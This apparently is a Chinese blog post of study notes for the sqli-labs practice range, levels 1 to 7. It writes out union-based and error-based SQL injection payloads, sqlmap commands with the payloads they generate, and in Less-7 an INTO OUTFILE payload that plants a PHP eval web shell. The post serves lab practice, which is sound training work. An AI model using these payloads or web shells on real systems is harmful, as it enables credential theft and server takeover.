sqli-lab靶场笔记

发布于 2020-07-29  12 次阅读


sqli-labs是一个练习手工注入的靶场,覆盖面很全(题很多),分为了三个模块,做起来还是让人有点头大

前序

项目地址: https://github.com/Audi-1/sqli-labs

安装

查询了一下网上的博客 安装过程如下 如果是用phpstudy安装的同学 需要将php的版本调制php5 否则会报错,mysql版本需要调制5.0以上否则没有information_schema这个表

docker search sqli-lab
#找一个靠前的镜像拉取
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest

自己将8888修改成自己需要映射的端口,这个容器默认是没初始化 SQLi-labs 数据库的,所以得自己初始化一下。

版本信息:

$ mysql -e "select version(),user()"
+-------------------------+----------------+
| version()               | user()         |
+-------------------------+----------------+
| 5.5.44-0ubuntu0.14.04.1 | root@localhost |
+-------------------------+----------------+

$ php --version
PHP 5.5.9-1ubuntu4.13 (cli) (built: Sep 29 2015 15:24:49)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies

$ apache2 -v
Server version: Apache/2.4.7 (Ubuntu)

$ uname -a
Linux cee6c3a31a93 4.18.0-147.5.1.el8_1.x86_64 #1 SMP Wed Feb 5 02:00:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

注入工具

  • Burpsuite,因为后面有 POST 注入
  • hackbar,方便半自动注入
  • sqlmap 手动注入后可以用sqlmap再跑一下

Basic Challenges(1-20关)

less-1

基于单引号的报错,这边可以采用联合查询,基于报错的查询,布尔盲注,基于延迟的盲注 ,查询的拼接语句应该是 id='$id' 在?id=1后添加单引号 报错 发现注入点

order by 爆列表数 http://127.0.0.1/sqli/Less-1/?id=1%27order%20by%204--+ 发现有3列数据

联合查询注入

http://127.0.0.1/sqli/Less-1/?id=0'union select 1,2,3--+ 

发现2,3有回显点

接下来再构建playload

#查询mysql版本,使用的数据库名,还可以改成user()查询用户
http://127.0.0.1/sqli/Less-1/?id=100'union select 1,version(),database()--+ 

接下来我们用 联合查询+group_concat函数合并信息,爆出需要的信息

group_concat函数:

语法: group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )

#爆表名
http://127.0.0.1/sqli/Less-1/?id=100'union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() --+ 

我们需要的信息应该在user里

#爆字段
http://127.0.0.1/sqli/Less-1/?id=100'union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+ 

我们需要username和password字段的值 这个上面显示的是user,但实际上爆的值应该是username,我也不知道出了什么问题

#爆值
http://127.0.0.1/sqli/Less-1/?id=100'union select 1,2, group_concat(username,0x3a,password)  from users --+ 

报错注入

注入点查找

?id=1' 1=1--+ 正常
?id=1' 1=2--+ 报错

证明确实存在手工报错型注入点 报错依赖于extractvalue()查询出结果 extractvalue() :对XML文档进行查询的函数 语法: extractvalue(目标xml文档,xml路径) 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。 爆表

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
 
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

爆值

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

因为盲注太耗费时间了,在这里我就没有做

sqlmap

联合查询注入

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbms=MySQL --batch --flush-session --technique=U

可以得到playload

id=-8334' UNION ALL SELECT NULL,CONCAT(0x7171627a71,0x53766a6b4b76555961466d70487953624c704970557948467557515743626b42554745784f565766,0x717a786a71),NULL-- -

报错注入

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbms=MySQL --batch --flush-session --technique=E
id=1' AND GTID_SUBSET(CONCAT(0x71716b6b71,(SELECT (ELT(6859=6859,1))),0x7178717671),6859)-- pxDD

延时盲注

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbms=MySQL --batch --flush-session --technique=T
id=1' AND (SELECT 1433 FROM (SELECT(SLEEP(5)))WhFz)-- RUqx

布尔盲注

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbms=MySQL --batch --flush-session --technique=B
 id=1' AND 2731=2731 AND 'xUKp'='xUKp

less-2

拼接方式为 id=$id 爆表方式和less-1一样,只是拼接方式不一样,不在此再多赘述

less-3

拼接方式为 id=('$id') 爆表方式和less-1一样,只是拼接方式不一样,不在此再多赘述

less-4

拼接方式为 id=("$id") 爆表方式和less-1一样,只是拼接方式不一样,不在此再多赘述

less-5

拼接方式为 id='$id' 源码分析:

#查询语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
    输出 You are in...........
else:
    print_r(mysql_error());

语句和less-1没什么区别 只是没了回显,不能再联合查询注入了

less-6

拼接方式为id="$id" 利用方式和less-5一样,不再过多赘述

less-7

拼接方式为id=(('$id')) 源码:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}

	else { echo "Please input the ID as parameter with numeric value";}

?>

这里print_r(mysql_error())被注释掉了,所以报错注入也不能用了,只能盲注 建议验证一下,然后用sqlmap,可以大幅度提高注入效率

#爆表
>python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --dbms=MySQL --batch --flush-session --technique=B -tables 

然后我看了一眼less-7的标题 dump into outfile?我突然有了一个想法 然后换到了phpstudy的环境 如果没有读写权限,需要在mysql的配置文件MySQL\my.ini下添加一句secure_file_priv=“/”。 可以通过out_file()写入一句话木马,然后蚁剑连

http://192.168.5.100/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST[“crow”]);?>' into outfile "
path:\\WWW\\sqli-labs\\Less-7\\test.php" --+

docker进入容器后

# mysql -e "show global variables like '%secure%';"
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+